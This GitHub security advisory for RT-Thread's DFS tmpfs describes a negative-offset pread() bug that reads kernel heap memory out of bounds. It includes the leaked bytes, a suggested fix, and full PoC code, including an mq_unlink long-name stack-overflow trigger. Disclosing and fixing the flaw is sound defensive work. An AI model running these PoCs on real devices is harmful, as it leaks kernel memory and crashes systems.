Skip to content

[Security] pread() with a large negative offset bypasses rw_verify_area() causing OOB heap read in tmpfs (info leak / crash) #11737

Description

@REYu6

Summary

rw_verify_area() rejects a negative file position only partially:

/* components/dfs/dfs_v2/src/dfs_file.c:246-250 */
pos = *ppos;
if (pos < 0)
{
    if (count >= -pos)      /* rejected ONLY when count >= -pos */
        return -EOVERFLOW;
}
/* pos < 0 with count < -pos FALLS THROUGH */

dfs_file_pread() (dfs_file.c:1037-1054) then passes the negative off_t
straight into the filesystem's read op. For tmpfs, dfs_tmpfs_read()
computes the length with signed arithmetic and copies from a negative index
without any unsigned guard:

/* components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c:298-305 */
ssize_t size = (ssize_t)file->vnode->size;
if ((ssize_t)count < size - *pos)
    length = count;
else
    length = size - *pos;              /* pos<0 inflates length */
if (length > 0)
    memcpy(buf, &(d_file->data[*pos]), length);   /* reads BEFORE the buffer */

So pread(fd, buf, n, -M) with n < M returns n bytes read from M
bytes before the tmpfs heap allocation — a kernel heap information
disclosure; a large M dereferences unmapped memory and data-aborts.

(For contrast, the elmfat read path is safe: dfs_elm.c:578 compares
against the unsigned vnode->size, which rejects negative positions.
tmpfs lacks the equivalent guard.)

Affected

  • Components: DFS core dfs_file.c + tmpfs dfs_tmpfs.c
  • Revision: master 6ea6827
  • Configuration: RT_USING_DFS_V2 + RT_USING_DFS_TMPFS, tmpfs mounted;
    pread reachable by any application (exported POSIX API).

Reproduction (QEMU, bsp/qemu-vexpress-a9)

PoC application on a tmpfs file that contains exactly "AAAABBBBCCCCDDDD":

long n = pread(fd, buf, 32, -64);   /* returns 32 */

Observed (console output followed by the rendered screenshot):

msh />poc_pread -64
[poc] pread(fd, buf, 32, -64) on tmpfs file ...
[poc] pread returned 32 bytes:
 20 85 0b 60 40 74 0b 60 01 00 00 00 20 20 20 20
 b1 72 0b 60 10 01 00 00 c0 00 00 00 74 73 68 65

pread_crash.png

pread_leak.png

None of these bytes belong to the file. They are kernel heap contents read
from in front of the allocation: kernel pointers (0x600b8520,
0x600b7440), allocator chunk sizes (0x110, 0xc0), and remnants of
other heap strings ("tshe").

With a wild offset (console output followed by the rendered screenshot):

msh />poc_pread -10000000
[poc] pread(fd, buf, 32, -10000000) on tmpfs file ...
backtrace: ... data abort:Execption: ...

Expected result

Negative offsets are rejected unconditionally: pread() returns -EINVAL
and no memory outside the file is read.

Impact

  • Attacker model: application code calling pread() with a hostile offset
    (e.g. offset derived from untrusted input). Under RT_USING_SMART, an
    unprivileged user application reads kernel heap memory; on flat builds
    the leak crosses into the shared heap and the wild-pointer variant
    crashes the device.
  • Severity: medium-high (info leak of kernel heap layout/contents; DoS).

Suggested fix

  1. Make rw_verify_area() reject every negative position unconditionally:
    if (pos < 0)
        return -EINVAL;    /* instead of the conditional count >= -pos rule */
  2. Defense-in-depth in tmpfs: compare positions against the unsigned file
    size as elmfat does (dfs_elm.c:578), e.g.
    if ((size_t)*pos >= file->vnode->size) return 0;

Complete PoC source

The full PoC application (bsp/applications/poc.c, English only, uses only
public exported APIs — dfs_mount, mq_unlink, open/write/pread) and the
msh script poc.sh are reproduced here; they are also archived at
REYu6/rt-thread-poc-evidence
together with the rendered console screenshots.

poc.sh (executed on the target as /poc.sh)

mkdir /tmp
poc_mount
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bsp/applications/poc.c

#include <rtthread.h>

/* PoC application: simulates a user application / msh script caller.
 * Targets: RT-Thread master 6ea6827, qemu-vexpress-a9 default config. */

extern int dfs_mount(const char *device, const char *path, const char *fs, unsigned long rwflag, void *data);
extern int open(const char *, int, ...);
extern long write(int, const void *, unsigned long);
extern long pread(int, void *, unsigned long, long);
extern int close(int);
extern int mq_unlink(const char *);

static void poc_mount(int argc, char **argv)
{
    int r = dfs_mount(RT_NULL, "/tmp", "tmp", 0, RT_NULL);
    rt_kprintf("[poc] mount tmpfs on /tmp -> %d (0=ok)\n", r);
}
MSH_CMD_EXPORT(poc_mount, mount tmpfs at /tmp);

static void poc_mq(int argc, char **argv)
{
    char name[512];
    int i;
    for (i = 0; i < 200; i++) name[i] = 'M';
    name[200] = '\0';
    rt_kprintf("[poc] mq_unlink with 200-char name (buffer is %d bytes)...\n", 16 + 12);
    mq_unlink(name);
    rt_kprintf("[poc] mq_unlink RETURNED (no crash)\n");
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);

static void poc_pread(int argc, char **argv)
{
    long off = -64;
    int fd;
    char buf[40];
    long n;
    int i;
    if (argc > 1) off = atol(argv[1]);
    fd = open("/tmp/leak.txt", 2 /*O_RDWR*/ | 0x200 /*O_CREAT*/, 0777);
    if (fd < 0) { rt_kprintf("[poc] open failed fd=%d errno=%d\n", fd, (int)rt_get_errno()); return; }
    write(fd, "AAAABBBBCCCCDDDD", 16);
    rt_memset(buf, 0, sizeof(buf));
    rt_kprintf("[poc] pread(fd, buf, 32, %ld) on tmpfs file ...\n", off);
    n = pread(fd, buf, 32, off);
    rt_kprintf("[poc] pread returned %d bytes:", (int)n);
    for (i = 0; i < 32; i++) rt_kprintf(" %02x", (unsigned char)buf[i]);
    rt_kprintf("\n[poc] done\n");
    close(fd);
}
MSH_CMD_EXPORT(poc_pread, pread negative-offset OOB read demo: poc_pread [offset]);

Build (bsp/qemu-vexpress-a9, unmodified default configuration):

cd bsp/qemu-vexpress-a9
RTT_ROOT=/path/to/rt-thread scons -j8
qemu-system-arm -M vexpress-a9 -kernel rtthread.elf -sd sd.bin -nographic

Metadata

Metadata

Assignees

Labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions